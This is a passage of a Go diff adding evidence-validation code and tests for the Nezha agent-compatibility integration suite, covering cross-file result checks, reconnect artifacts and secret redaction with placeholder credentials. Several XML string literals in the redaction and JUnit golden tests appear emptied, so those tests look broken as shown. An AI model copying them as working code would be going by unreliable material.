cleanup.Scenario != results.Scenarios[0].Name { + return errors.New("cleanup evidence is missing or failed") + } + if _, err := time.Parse(time.RFC3339, cleanup.FinishedAt); err != nil { + return errors.New("cleanup finish time is invalid") + } + if profile.DedicatedFile != "" { + definition, err := contract.ScenarioDefinitionByName(results.Scenarios[0].Name) + if err != nil { + return err + } + if err := validateScenarioAssertions(results.Scenarios[0], definition.Assertions(metadata.Fault)); err != nil { + return err + } + return validateDedicatedArtifact(files, metadata, results.Scenarios[0]) + } + return nil +} + +func validateScenarioAssertions(result ScenarioResult, expected []contract.AssertionDefinition) error { + if len(result.Assertions) != len(expected) { + return errors.New("scenario assertions do not match dedicated evidence contract") + } + for index, assertion := range result.Assertions { + if assertion.Name != expected[index].Name || assertion.Passed != expected[index].Passed { + return errors.New("scenario assertions do not match dedicated evidence contract") + } + } + return nil +} + +func rejectStaleDedicatedFiles(files evidenceSnapshot, expected string) error { + for _, name := range []string{"transfer.json", "reconnect.json"} { + if _, exists := files[name]; exists && name != expected { + return fmt.Errorf("stale or wrong dedicated evidence file: %s", name) + } + } + return nil +} + +func validateJUnit(files evidenceSnapshot, results Results) error { + file, exists := files["junit.xml"] + if !exists { + return errors.New("read JUnit evidence: evidence snapshot is missing") + } + var suite junitSuite + if err := xml.Unmarshal(file.data, &suite); err != nil { + return fmt.Errorf("parse JUnit evidence: %w", err) + } + if suite.Name != results.Profile || suite.Tests != len(results.Scenarios) || suite.Failures != countFailedScenarios(results.Scenarios) || len(suite.Cases) != len(results.Scenarios) { + return errors.New("results and JUnit evidence do not agree") + } + for index, scenario := range results.Scenarios { + caseResult := suite.Cases[index] + if caseResult.Name != scenario.Name || (caseResult.Failure != nil) != !scenario.Passed { + return errors.New("results and JUnit scenario states do not agree") + } + } + return nil +} diff --git a/integration/agentcompat/internal/evidence/directory_validation_test.go b/integration/agentcompat/internal/evidence/directory_validation_test.go new file mode 100644 index 00000000..21f142d3 --- /dev/null +++ b/integration/agentcompat/internal/evidence/directory_validation_test.go @@ -0,0 +1,207 @@ +package evidence + +import ( + "encoding/json" + "flag" + "fmt" + "os" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" +) + +func TestEvidence_CurrentProfilePropagatesMalformedScenarioAndFault(t *testing.T) { + tests := []struct { + name string + metadata Metadata + wantContext string + wantCause string + }{ + {name: "scenario", metadata: Metadata{Scenarios: []string{"invalid scenario"}}, wantContext: "construct metadata scenario", wantCause: "invalid scenario name"}, + {name: "fault", metadata: Metadata{Scenarios: []string{contract.ScenarioTransfer100MiB}, Fault: "invalid fault"}, wantContext: "construct metadata fault", wantCause: "invalid fault name"}, + } + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + _, err := currentProfile(test.metadata) + if err == nil || !strings.Contains(err.Error(), test.wantContext) || !strings.Contains(err.Error(), test.wantCause) { + t.Fatalf("currentProfile error=%v, want context %q and cause %q", err, test.wantContext, test.wantCause) + } + }) + } +} + +func TestEvidence_NoCredentialsInDirectory(t *testing.T) { + if len(flag.Args()) == 0 { + t.Skip("requires a results directory argument: go test ./integration/agentcompat/internal/evidence -run TestEvidence_NoCredentialsInDirectory -args RESULTS") + } + if err := ValidateDirectory(flag.Args()[0]); err != nil { + t.Fatalf("validate evidence directory: %v", err) + } +} + +func TestEvidence_NoCredentialsInDirectoryFixture(t *testing.T) { + resultsDir := t.TempDir() + metadata := validMetadata(t, resultsDir, contract.ScenarioRegistrationConfigExec) + writeJSONEvidenceFile(t, resultsDir, "metadata.json", metadata) + results := Results{Profile: "pr-full", Passed: true, Scenarios: []ScenarioResult{{Name: contract.ScenarioRegistrationConfigExec, Passed: true, Assertions: []Assertion{{Name: "safe fixture", Passed: true}}}}} + writeJSONEvidenceFile(t, resultsDir, "results.json", results) + junit, err := JUnit(results) + if err != nil { + t.Fatalf("marshal safe JUnit: %v", err) + } + writeEvidenceFile(t, resultsDir, "junit.xml", string(junit)) + writeEvidenceFile(t, resultsDir, "cleanup.json", `{"passed":true,"scenario":"registration-config-exec","finished_at":"2026-01-02T03:04:05Z"}`) + if err := ValidateDirectory(resultsDir); err != nil { + t.Fatalf("validate evidence directory: %v", err) + } +} + +func TestEvidence_ValidateDirectoryRejectsCrossFileMismatches(t *testing.T) { + tests := map[string]func(*testing.T, string){ + "profile mismatch": func(t *testing.T, dir string) { + writeExecutableEvidence(t, dir, "soak", contract.ScenarioRegistrationConfigExec, true, true, true) + }, + "scenario mismatch": func(t *testing.T, dir string) { + writeExecutableEvidence(t, dir, "pr-full", contract.ScenarioRegistrationConfigExec, true, false, true) + }, + "junit mismatch": func(t *testing.T, dir string) { + writeExecutableEvidence(t, dir, "pr-full", contract.ScenarioRegistrationConfigExec, false, true, true) + }, + "missing cleanup": func(t *testing.T, dir string) { + writeExecutableEvidence(t, dir, "pr-full", contract.ScenarioRegistrationConfigExec, true, true, false) + }, + } + for name, setup := range tests { + t.Run(name, func(t *testing.T) { + dir := t.TempDir() + setup(t, dir) + if err := ValidateDirectory(dir); err == nil { + t.Fatal("inconsistent evidence accepted") + } + }) + } +} + +func TestEvidence_ValidateDirectoryRejectsFailedCleanup(t *testing.T) { + dir := t.TempDir() + writeExecutableEvidence(t, dir, "pr-full", contract.ScenarioRegistrationConfigExec, true, true, true) + writeEvidenceFile(t, dir, "cleanup.json", `{"passed":false,"scenario":"registration-config-exec","finished_at":"2026-01-02T03:04:05Z"}`) + if err := ValidateDirectory(dir); err == nil { + t.Fatal("failed cleanup accepted") + } +} + +func TestEvidence_MCPFilesystemExecutableProfileValidates(t *testing.T) { + dir := t.TempDir() + writeExecutableEvidence(t, dir, "pr-full", contract.ScenarioMCPFilesystem, true, true, true) + if err := ValidateDirectory(dir); err != nil { + t.Fatalf("validate mcp-filesystem evidence: %v", err) + } +} + +func TestEvidence_NoCredentialsInDirectoryRejectsMissingPathAndFiles(t *testing.T) { + if err := ValidateDirectory(filepath.Join(t.TempDir(), "missing")); err == nil { + t.Fatal("missing evidence directory accepted") + } + for name, dir := range map[string]string{"empty": t.TempDir(), "incomplete": t.TempDir()} { + if name == "incomplete" { + writeEvidenceFile(t, dir, "metadata.json", `{ "ok": true }`) + } + if err := ValidateDirectory(dir); err == nil { + t.Fatalf("%s evidence directory accepted", name) + } + } +} + +func TestEvidence_NoCredentialsInDirectoryRejectsCredentialsAndMalformedDocuments(t *testing.T) { + tests := []struct{ name, results, junit string }{ + {"credentials", `{ "token": "secret-value" }`, ``}, + {"malformed json", `{ malformed`, ``}, + {"malformed xml", `{ "ok": true }`, ``}, + } + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + dir := t.TempDir() + writeEvidenceFile(t, dir, "metadata.json", `{ "ok": true }`) + writeEvidenceFile(t, dir, "results.json", test.results) + writeEvidenceFile(t, dir, "junit.xml", test.junit) + if err := ValidateDirectory(dir); err == nil { + t.Fatal("invalid evidence accepted") + } + }) + } +} + +func writeEvidenceFile(t *testing.T, resultsDir, name, content string) { + t.Helper() + if err := os.Chmod(resultsDir, 0o700); err != nil { + t.Fatalf("secure evidence root: %v", err) + } + path := filepath.Join(resultsDir, name) + if err := os.MkdirAll(filepath.Dir(path), 0o700); err != nil { + t.Fatalf("create evidence parent: %v", err) + } + if err := os.WriteFile(path, []byte(content), 0o600); err != nil { + t.Fatalf("write evidence file: %v", err) + } +} + +func writeJSONEvidenceFile(t *testing.T, resultsDir, name string, value any) { + t.Helper() + data, err := json.Marshal(value) + if err != nil { + t.Fatalf("marshal %s: %v", name, err) + } + writeEvidenceFile(t, resultsDir, name, string(data)) +} + +func validMetadata(t *testing.T, resultsDir, scenarioName string) Metadata { + t.Helper() + profile, err := contract.ProfileByName("pr-full") + if err != nil { + t.Fatalf("profile: %v", err) + } + sourceRoot := t.TempDir() + nezhaSource := filepath.Join(sourceRoot, "nezha-source") + agentSource := filepath.Join(sourceRoot, "agent-source") + paths, err := contract.NewPaths(nezhaSource, agentSource, resultsDir) + if err != nil { + t.Fatalf("paths: %v", err) + } + scenarioValue, err := contract.NewScenario(scenarioName) + if err != nil { + t.Fatalf("scenario: %v", err) + } + metadata, err := NewMetadata(MetadataInput{Profile: profile, Seed: contract.DefaultSeed, Paths: paths, ResourceBudget: contract.DefaultResourceBudget(), Scenarios: []contract.Scenario{scenarioValue}, StartedAt: time.Date(2026, 1, 2, 3, 4, 5, 0, time.UTC), EvidenceFiles: EvidenceFiles()}) + if err != nil { + t.Fatalf("metadata: %v", err) + } + return metadata +} + +func writeExecutableEvidence(t *testing.T, dir, profileName, scenarioName string, matchingJUnit, matchingScenario, writeCleanup bool) { + t.Helper() + metadata := validMetadata(t, dir, scenarioName) + metadata.Profile.Name = profileName + writeJSONEvidenceFile(t, dir, "metadata.json", metadata) + resultsScenario := scenarioName + if !matchingScenario { + resultsScenario = contract.ScenarioMetadata + } + results := Results{Profile: "pr-full", Passed: true, Scenarios: []ScenarioResult{{Name: resultsScenario, Passed: true, Assertions: []Assertion{{Name: "fixture", Passed: true}}}}} + writeJSONEvidenceFile(t, dir, "results.json", results) + junit, err := JUnit(results) + if err != nil { + t.Fatalf("JUnit: %v", err) + } + if !matchingJUnit { + junit = []byte(``) + } + writeEvidenceFile(t, dir, "junit.xml", string(junit)) + if writeCleanup { + writeEvidenceFile(t, dir, "cleanup.json", fmt.Sprintf(`{"passed":true,"scenario":%q,"finished_at":"2026-01-02T03:04:05Z"}`, scenarioName)) + } +} diff --git a/integration/agentcompat/internal/evidence/evidence_test.go b/integration/agentcompat/internal/evidence/evidence_test.go new file mode 100644 index 00000000..e1c771bf --- /dev/null +++ b/integration/agentcompat/internal/evidence/evidence_test.go @@ -0,0 +1,229 @@ +package evidence + +import ( + "encoding/json" + "encoding/xml" + "fmt" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" +) + +func TestEvidence_Redaction(t *testing.T) { + input := `"Authorization":"Basic authorization-secret" JWT=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxIn0.signature PAT=pat-secret agent_secret_key=agent-secret client_secret=config-secret https://local/mcp/upload/path-secret?token=query-secret` + redacted := Redact(input) + for _, secret := range []string{"authorization-secret", "eyJhbGciOiJIUzI1NiJ9", "pat-secret", "agent-secret", "config-secret", "path-secret", "query-secret"} { + if strings.Contains(redacted, secret) { + t.Fatalf("secret survived redaction: %q", secret) + } + } + if !strings.Contains(redacted, "[REDACTED]") { + t.Fatalf("redaction marker missing: %q", redacted) + } + junit, err := JUnit(Results{Profile: "pr-full", Passed: false, Scenarios: []ScenarioResult{{Name: "secret", Passed: false, Assertions: []Assertion{{Name: "secret failure", Passed: false}}, Error: input}}}) + if err != nil { + t.Fatalf("marshal redacted junit: %v", err) + } + if strings.Contains(string(junit), "authorization-secret") || strings.Contains(string(junit), "path-secret") { + t.Fatalf("secret survived JUnit redaction: %s", junit) + } +} + +func TestEvidence_Golden(t *testing.T) { + profile, err := contract.ProfileByName("pr-full") + if err != nil { + t.Fatalf("construct profile: %v", err) + } + root := t.TempDir() + nezhaSource := filepath.Join(root, "nezha-source") + agentSource := filepath.Join(root, "agent-source") + resultsDir := filepath.Join(root, "results") + paths, err := contract.NewPaths(nezhaSource, agentSource, resultsDir) + if err != nil { + t.Fatalf("construct paths: %v", err) + } + metadata, err := NewMetadata(MetadataInput{ + Profile: profile, + Seed: contract.DefaultSeed, + Paths: paths, + ResourceBudget: contract.DefaultResourceBudget(), + StartedAt: time.Date(2026, 1, 2, 3, 4, 5, 0, time.UTC), + EvidenceFiles: EvidenceFiles(), + }) + if err != nil { + t.Fatalf("construct metadata: %v", err) + } + data, err := json.Marshal(metadata) + if err != nil { + t.Fatalf("marshal metadata: %v", err) + } + wantJSON := fmt.Sprintf(`{"agent_source":%q,"evidence_files":["metadata.json","results.json","junit.xml","dashboard.log","agents/*.log","transfer.json","reconnect.json","stress.json","cleanup.json","step-summary.md"],"load_classification":"regression loads, not capacity claims","nezha_source":%q,"profile":{"name":"pr-full","job_timeout_seconds":4500,"suite_deadline_seconds":3300,"default_seed":"0x4e5a4841","agent_count":8,"stress_rounds":4,"concurrent_operations":64,"concurrent_sessions_per_kind":4,"transfer_pairs":1,"transfer_bytes":104857600,"dashboard_restart_cycles":1,"iterations":1,"stream_boundary_allowed":40,"stream_boundary_rejected":41},"resource_budget":{"warmup_runs_per_path":1,"baseline_sample_count":5,"end_sample_count":5,"sample_interval_milliseconds":250,"child_process_count_drift":0,"listener_count_drift":0,"non_stdio_fd_count_drift":0,"dashboard_rss_delta_bytes":67108864,"agent_rss_delta_bytes":33554432,"transfer_heap_bytes":16777216},"results_dir":%q,"scenarios":[],"seed":"0x4e5a4841","started_at":"2026-01-02T03:04:05Z"}`, agentSource, nezhaSource, resultsDir) + if string(data) != wantJSON { + t.Fatalf("metadata golden mismatch\nwant: %s\ngot: %s", wantJSON, data) + } + + results := Results{Profile: "pr-full", Passed: true, Scenarios: []ScenarioResult{{Name: "metadata", Passed: true, Assertions: []Assertion{{Name: "metadata written", Passed: true}}}}} + resultsJSON, err := json.Marshal(results) + if err != nil { + t.Fatalf("marshal results: %v", err) + } + const wantResultsJSON = `{"profile":"pr-full","passed":true,"scenarios":[{"name":"metadata","passed":true,"assertions":[{"name":"metadata written","passed":true}]}]}` + if string(resultsJSON) != wantResultsJSON { + t.Fatalf("results golden mismatch\nwant: %s\ngot: %s", wantResultsJSON, resultsJSON) + } + junitXML, err := JUnit(results) + if err != nil { + t.Fatalf("marshal junit: %v", err) + } + const wantXML = `` + if string(junitXML) != wantXML { + t.Fatalf("junit golden mismatch\nwant: %s\ngot: %s", wantXML, junitXML) + } + var parsedJUnit junitSuite + if err := xml.Unmarshal(junitXML, &parsedJUnit); err != nil { + t.Fatalf("parse junit golden: %v", err) + } + if parsedJUnit.Tests != 1 || parsedJUnit.Failures != 0 || len(parsedJUnit.Cases) != 1 { + t.Fatalf("unexpected parsed junit: %#v", parsedJUnit) + } +} + +func TestEvidence_SchemaValidation(t *testing.T) { + invalid := Metadata{} + if err := invalid.Validate(); err == nil { + t.Fatal("invalid metadata accepted") + } + invalidBudget := ResourceBudgetMetadata{WarmupRunsPerPath: 1, BaselineSampleCount: 5, EndSampleCount: 5, SampleIntervalMilliseconds: 250, DashboardRSSDeltaBytes: 1, AgentRSSDeltaBytes: 1} + if err := invalidBudget.Validate(); err == nil { + t.Fatal("missing transfer heap threshold accepted") + } + results := Results{Profile: "pr-full", Passed: true, Scenarios: []ScenarioResult{{Name: "failed", Passed: false, Assertions: []Assertion{{Name: "failed assertion", Passed: false}}, Error: "failure"}}} + if err := results.Validate(); err == nil { + t.Fatal("inconsistent results accepted") + } + for _, result := range []Results{ + {Profile: "pr-full", Passed: true, Scenarios: []ScenarioResult{{Name: "../escape", Passed: true}}}, + {Profile: "pr-full", Passed: true, Scenarios: []ScenarioResult{{Name: "duplicate", Passed: true}, {Name: "duplicate", Passed: true}}}, + } { + if err := result.Validate(); err == nil { + t.Fatalf("invalid scenario results accepted: %#v", result) + } + } +} + +func TestEvidence_ResultsRejectsSuccessfulScenarioWithoutAssertions(t *testing.T) { + results := Results{Profile: "pr-full", Passed: true, Scenarios: []ScenarioResult{{Name: "registration-config-exec", Passed: true}}} + + if err := results.Validate(); err == nil { + t.Fatal("successful executable scenario without assertions accepted") + } +} + +func TestEvidence_ResultsJSONRedactsSecrets(t *testing.T) { + results := Results{Profile: "pr-full", Passed: false, Scenarios: []ScenarioResult{ + {Name: "authorization", Passed: false, Assertions: []Assertion{{Name: "authorization failure", Passed: false}}, Error: "Authorization: Bearer jwt-secret"}, + {Name: "credential-field", Passed: false, Assertions: []Assertion{{Name: "credential failure", Passed: false}}, Error: "agent_secret=agent-secret"}, + {Name: "transfer-token", Passed: false, Assertions: []Assertion{{Name: "transfer failure", Passed: false}}, Error: "/mcp/download/path-token?token=query-token"}, + {Name: "access-token", Passed: false, Assertions: []Assertion{{Name: "access failure", Passed: false}}, Error: "https://local/file?access_token=access-secret"}, + {Name: "api-key", Passed: false, Assertions: []Assertion{{Name: "api failure", Passed: false}}, Error: "https://local/file?api_key=api-secret"}, + {Name: "signature", Passed: false, Assertions: []Assertion{{Name: "signature failure", Passed: false}}, Error: "https://local/file?sig=sig-secret&signature=signature-secret&X-Amz-Signature=aws-secret"}, + }} + data, err := MarshalResults(results) + if err != nil { + t.Fatalf("marshal results: %v", err) + } + for _, secret := range []string{"jwt-secret", "agent-secret", "path-token", "query-token", "access-secret", "api-secret", "sig-secret", "signature-secret", "aws-secret"} { + if strings.Contains(string(data), secret) { + t.Fatalf("secret survived results JSON: %q in %s", secret, data) + } + } + directData, err := json.Marshal(results) + if err != nil { + t.Fatalf("direct marshal results: %v", err) + } + if strings.Contains(string(directData), "jwt-secret") || strings.Contains(string(directData), "path-token") { + t.Fatalf("direct JSON marshal bypassed redaction: %s", directData) + } +} + +func TestEvidence_RedactsXMLTextAttributesAndMalformedFragments(t *testing.T) { + input := `agent-secrettransfer-secretpassword-secretcredential-secret` + redacted := Redact(input) + for _, secret := range []string{"authorization-secret", "agent-secret", "transfer-secret", "password-secret", "credential-secret"} { + if strings.Contains(redacted, secret) { + t.Fatalf("XML secret survived redaction: %q in %s", secret, redacted) + } + } + var parsed struct { + XMLName xml.Name `xml:"record"` + Secret string `xml:"agent_secret_key"` + } + if err := xml.Unmarshal([]byte(redacted), &parsed); err != nil { + t.Fatalf("redacted XML is not parseable: %v; output=%s", err, redacted) + } + if parsed.Secret != "[REDACTED]" { + t.Fatalf("unexpected redacted element text: %q", parsed.Secret) + } + results := Results{Profile: "pr-full", Passed: false, Scenarios: []ScenarioResult{{Name: "xml", Passed: false, Assertions: []Assertion{{Name: "xml failure", Passed: false}}, Error: input}}} + junit, err := JUnit(results) + if err != nil { + t.Fatalf("marshal XML evidence: %v", err) + } + var parsedSuite junitSuite + if err := xml.Unmarshal(junit, &parsedSuite); err != nil { + t.Fatalf("redacted JUnit is not parseable: %v; output=%s", err, junit) + } + if strings.Contains(string(junit), "agent-secret") || strings.Contains(string(junit), "credential-secret") { + t.Fatalf("XML evidence secret survived: %s", junit) + } + + malformed := `config-secret` + malformedRedacted := Redact(malformed) + if strings.Contains(malformedRedacted, "config-secret") { + t.Fatalf("malformed XML secret survived redaction: %s", malformedRedacted) + } +} + +func TestEvidence_RedactsXMLSensitiveAttributesWithWhitespaceAndMalformedTags(t *testing.T) { + input := `password text` + redacted := Redact(input) + for _, secret := range []string{"agent secret with spaces", "config-secret", "password secret with spaces", "password text"} { + if strings.Contains(redacted, secret) { + t.Fatalf("XML attribute or text secret survived redaction: %q in %s", secret, redacted) + } + } + if !strings.Contains(redacted, ``) { + t.Fatalf("sensitive XML attribute was not structurally redacted: %s", redacted) + } +} + +func TestEvidence_RedactsCredentialAttributesWithSpacesAndTruncatedXML(t *testing.T) { + input := `ok` + redacted := Redact(input) + if strings.Contains(redacted, "self-closing secret") { + t.Fatalf("self-closing XML secret survived redaction: %s", redacted) + } + var parsed struct { + XMLName xml.Name `xml:"record"` + Result string `xml:"result"` + } + if err := xml.Unmarshal([]byte(redacted), &parsed); err != nil { + t.Fatalf("redacted self-closing XML is not parseable: %v; output=%s", err, redacted) + } + if parsed.Result != "ok" { + t.Fatalf("redacted self-closing XML lost sibling content: %#v", parsed) + } +} diff --git a/integration/agentcompat/internal/evidence/junit.go b/integration/agentcompat/internal/evidence/junit.go new file mode 100644 index 00000000..1424aed0 --- /dev/null +++ b/integration/agentcompat/internal/evidence/junit.go @@ -0,0 +1,46 @@ +package evidence + +import "encoding/xml" + +type junitSuite struct { + XMLName xml.Name `xml:"testsuite"` + Name string `xml:"name,attr"` + Tests int `xml:"tests,attr"` + Failures int `xml:"failures,attr"` + Cases []junitCase `xml:"testcase"` +} + +type junitCase struct { + Name string `xml:"name,attr"` + Failure *junitFailure `xml:"failure,omitempty"` +} + +type junitFailure struct { + Message string `xml:"message,attr"` +} + +func JUnit(results Results) ([]byte, error) { + if err := results.Validate(); err != nil { + return nil, err + } + suite := junitSuite{Name: results.Profile, Tests: len(results.Scenarios)} + for _, scenario := range results.Scenarios { + caseResult := junitCase{Name: scenario.Name} + if !scenario.Passed { + suite.Failures++ + caseResult.Failure = &junitFailure{Message: Redact(scenario.Error)} + } + suite.Cases = append(suite.Cases, caseResult) + } + return xml.Marshal(suite) +} + +func countFailedScenarios(scenarios []ScenarioResult) int { + failed := 0 + for _, scenario := range scenarios { + if !scenario.Passed { + failed++ + } + } + return failed +} diff --git a/integration/agentcompat/internal/evidence/metadata.go b/integration/agentcompat/internal/evidence/metadata.go new file mode 100644 index 00000000..4270de00 --- /dev/null +++ b/integration/agentcompat/internal/evidence/metadata.go @@ -0,0 +1,134 @@ +package evidence + +import ( + "encoding/json" + "fmt" + "path/filepath" + "slices" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" +) + +type MetadataInput struct { + Profile contract.Profile + Seed contract.Seed + Paths contract.Paths + ResourceBudget contract.ResourceBudget + Scenarios []contract.Scenario + Fault contract.Fault + StartedAt time.Time + EvidenceFiles []string +} + +type Metadata struct { + AgentSource string `json:"agent_source"` + EvidenceFiles []string `json:"evidence_files"` + LoadClassification string `json:"load_classification"` + NezhaSource string `json:"nezha_source"` + Profile ProfileMetadata `json:"profile"` + ResourceBudget ResourceBudgetMetadata `json:"resource_budget"` + ResultsDir string `json:"results_dir"` + Scenarios []string `json:"scenarios"` + Seed string `json:"seed"` + Fault string `json:"fault,omitempty"` + StartedAt string `json:"started_at"` +} + +func NewMetadata(input MetadataInput) (Metadata, error) { + metadata := Metadata{ + AgentSource: Redact(input.Paths.AgentSource().String()), + EvidenceFiles: append([]string(nil), input.EvidenceFiles...), + LoadClassification: "regression loads, not capacity claims", + NezhaSource: Redact(input.Paths.NezhaSource().String()), + Profile: profileMetadata(input.Profile), + ResourceBudget: resourceBudgetMetadata(input.ResourceBudget), + ResultsDir: Redact(input.Paths.ResultsDir().String()), + Scenarios: scenarioNames(input.Scenarios), + Seed: fmt.Sprintf("0x%x", uint64(input.Seed)), + Fault: input.Fault.String(), + StartedAt: input.StartedAt.UTC().Format(time.RFC3339), + } + if err := metadata.Validate(); err != nil { + return Metadata{}, err + } + return metadata, nil +} + +func EvidenceFiles() []string { + files := []string{"metadata.json", "results.json", "junit.xml", "dashboard.log", "agents/*.log"} + for _, definition := range contract.ScenarioDefinitions() { + if name := definition.DedicatedArtifactName(); name != "" { + files = append(files, name) + } + } + return append(files, "stress.json", "cleanup.json", "step-summary.md") +} + +func FixedEvidenceFiles() []string { + files := make([]string, 0, len(EvidenceFiles())) + for _, name := range EvidenceFiles() { + if !slices.Contains([]rune(name), '*') { + files = append(files, name) + } + } + return files +} + +func scenarioNames(scenarios []contract.Scenario) []string { + names := make([]string, 0, len(scenarios)) + for _, scenario := range scenarios { + names = append(names, scenario.String()) + } + return names +} + +func (metadata Metadata) Validate() error { + if metadata.AgentSource == "" || len(metadata.EvidenceFiles) == 0 || metadata.LoadClassification == "" || metadata.NezhaSource == "" || metadata.ResultsDir == "" || metadata.Seed == "" || metadata.Seed == "0x0" || metadata.StartedAt == "" { + return fmt.Errorf("metadata fields are incomplete") + } + if err := metadata.Profile.Validate(); err != nil { + return err + } + if _, err := contract.ProfileByName(metadata.Profile.Name); err != nil { + return fmt.Errorf("metadata profile is invalid: %w", err) + } + if err := metadata.ResourceBudget.Validate(); err != nil { + return err + } + if !filepath.IsAbs(metadata.AgentSource) || !filepath.IsAbs(metadata.NezhaSource) || !filepath.IsAbs(metadata.ResultsDir) { + return fmt.Errorf("metadata paths must be absolute") + } + if _, err := time.Parse(time.RFC3339, metadata.StartedAt); err != nil { + return fmt.Errorf("metadata start time is invalid: %w", err) + } + if !slices.Equal(metadata.EvidenceFiles, EvidenceFiles()) { + return fmt.Errorf("metadata evidence files are invalid") + } + seen := make(map[string]struct{}, len(metadata.Scenarios)) + for _, scenarioName := range metadata.Scenarios { + _, err := contract.NewScenario(scenarioName) + if err != nil { + return fmt.Errorf("metadata scenario is invalid: %w", err) + } + if _, exists := seen[scenarioName]; exists { + return fmt.Errorf("metadata scenario is duplicated") + } + seen[scenarioName] = struct{}{} + } + if metadata.Fault != "" { + if _, err := contract.NewFault(metadata.Fault); err != nil { + return fmt.Errorf("metadata fault is invalid: %w", err) + } + } + return nil +} + +func (metadata Metadata) MarshalJSON() ([]byte, error) { + type metadataWire Metadata + redacted := metadataWire(metadata) + redacted.AgentSource = Redact(redacted.AgentSource) + redacted.NezhaSource = Redact(redacted.NezhaSource) + redacted.ResultsDir = Redact(redacted.ResultsDir) + return json.Marshal(redacted) +} diff --git a/integration/agentcompat/internal/evidence/reconnect_artifact_validation.go b/integration/agentcompat/internal/evidence/reconnect_artifact_validation.go new file mode 100644 index 00000000..90180a5e --- /dev/null +++ b/integration/agentcompat/internal/evidence/reconnect_artifact_validation.go @@ -0,0 +1,124 @@ +package evidence + +import ( + "errors" + "path/filepath" + "slices" + "strings" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" +) + +func validateDedicatedArtifact(files evidenceSnapshot, metadata Metadata, result ScenarioResult) error { + definition, err := contract.ScenarioDefinitionByName(result.Name) + if err != nil { + return err + } + switch definition.DedicatedArtifact { + case contract.DedicatedArtifactTransfer: + artifact, err := readJSONFile[transferArtifact](files, "transfer.json") + if err != nil { + return err + } + return validateTransferArtifact(metadata, result, artifact) + case contract.DedicatedArtifactReconnect: + artifact, err := readJSONFile[reconnectArtifact](files, "reconnect.json") + if err != nil { + return err + } + return validateReconnectArtifact(metadata, result, artifact) + case contract.DedicatedArtifactNone: + return nil + default: + return errors.New("unsupported dedicated artifact kind") + } +} + +func validateReconnectArtifact(metadata Metadata, result ScenarioResult, artifact reconnectArtifact) error { + if err := validateArtifactHeader(metadata, result, artifact.Scenario, artifact.Fault, artifact.Passed, artifact.CleanupOK, artifact.Error); err != nil { + return err + } + switch artifact.Fault { + case "": + if !artifact.Passed { + return errors.New("reconnect success artifact reports failure") + } + if err := validateReconnectSuccess(artifact.Evidence); err != nil { + return err + } + if err := validateReconnectSuccessReceipts(artifact.Evidence); err != nil { + return err + } + return validateReconnectFinalEvidence(artifact.Evidence, 2) + case contract.FaultDashboardExit: + if artifact.Passed || !strings.Contains(artifact.Error, "injected Dashboard exit") { + return errors.New("dashboard-exit artifact does not identify the injected failure") + } + evidence := artifact.Evidence + if reconnectPostFaultEvidencePresent(evidence) { + return errors.New("dashboard-exit artifact presents stale reconnect success") + } + if evidence.Lifecycle.DisconnectAt.IsZero() || !evidence.Lifecycle.ReconnectAt.IsZero() || !evidence.Lifecycle.OutsideRootSentinelUnchanged { + return errors.New("dashboard-exit lifecycle evidence is invalid") + } + return validateReconnectFinalEvidence(evidence, 1) + default: + return errors.New("reconnect artifact has unsupported fault") + } +} + +func reconnectPostFaultEvidencePresent(evidence reconnectEvidence) bool { + return evidence.Runtime.DashboardAfter != (runtimeIdentity{}) || evidence.Runtime.AgentAfter != (runtimeIdentity{}) || + evidence.Runtime.StateGenerationBeforeAgentRestart != 0 || evidence.Runtime.StateGenerationAfterAgentRestart != 0 || + evidence.Identity.DashboardConfigUnchanged || evidence.Identity.AgentConfigUnchanged || evidence.Identity.DashboardFixtureUnchanged || evidence.Identity.ClientsRecreated || evidence.Identity.BootstrapRecreated || + !evidence.Lifecycle.ReconnectAt.IsZero() || evidence.Lifecycle.ReconnectInterval != 0 || len(evidence.Lifecycle.DashboardReceipts) != 0 || len(evidence.Lifecycle.AgentReceipts) != 0 || + evidence.Lifecycle.StaleGenerationReceipts != 0 || evidence.Lifecycle.DuplicateTaskIDs != 0 || evidence.Lifecycle.LostResultIDs != 0 || + evidence.Observation.ServerID != 0 || evidence.Observation.UUID != "" || evidence.Observation.OldGeneration != 0 || evidence.Observation.NewGeneration != 0 || + !evidence.Observation.DisconnectAt.IsZero() || !evidence.Observation.ReconnectAt.IsZero() || len(evidence.Observation.TaskIDs) != 0 || len(evidence.Observation.ResultIDs) != 0 || evidence.Observation.PostReconnect || evidence.Observation.AgentRestarted +} + +func validateReconnectSuccess(evidence reconnectEvidence) error { + observation := evidence.Observation + if observation.ServerID == 0 || observation.UUID == "" || observation.OldGeneration == 0 || observation.NewGeneration <= observation.OldGeneration || observation.DisconnectAt.IsZero() || !observation.ReconnectAt.After(observation.DisconnectAt) || len(observation.TaskIDs) != 5 || !slices.Equal(observation.TaskIDs, observation.ResultIDs) || !observation.PostReconnect || !observation.AgentRestarted { + return errors.New("reconnect observation evidence is invalid") + } + if evidence.Runtime.DashboardAfter.Generation <= evidence.Runtime.DashboardBefore.Generation || evidence.Runtime.DashboardAfter.PID == evidence.Runtime.DashboardBefore.PID || evidence.Runtime.AgentAfter.Generation <= evidence.Runtime.AgentBefore.Generation || evidence.Runtime.AgentAfter.PID == evidence.Runtime.AgentBefore.PID || evidence.Runtime.StateGenerationAfterAgentRestart <= evidence.Runtime.StateGenerationBeforeAgentRestart { + return errors.New("reconnect runtime generations are invalid") + } + identity := evidence.Identity + if identity.ServerID != observation.ServerID || identity.UUID != observation.UUID || !identity.DashboardConfigUnchanged || !identity.AgentConfigUnchanged || !identity.DashboardFixtureUnchanged || !identity.ClientsRecreated || !identity.BootstrapRecreated { + return errors.New("reconnect identity evidence is invalid") + } + if evidence.Lifecycle.StaleGenerationReceipts != 0 || evidence.Lifecycle.DuplicateTaskIDs != 0 || evidence.Lifecycle.LostResultIDs != 0 || !evidence.Lifecycle.OutsideRootSentinelUnchanged { + return errors.New("reconnect lifecycle accounting is invalid") + } + return nil +} + +func validateReconnectSuccessReceipts(evidence reconnectEvidence) error { + if len(evidence.Lifecycle.DashboardReceipts) != 3 || 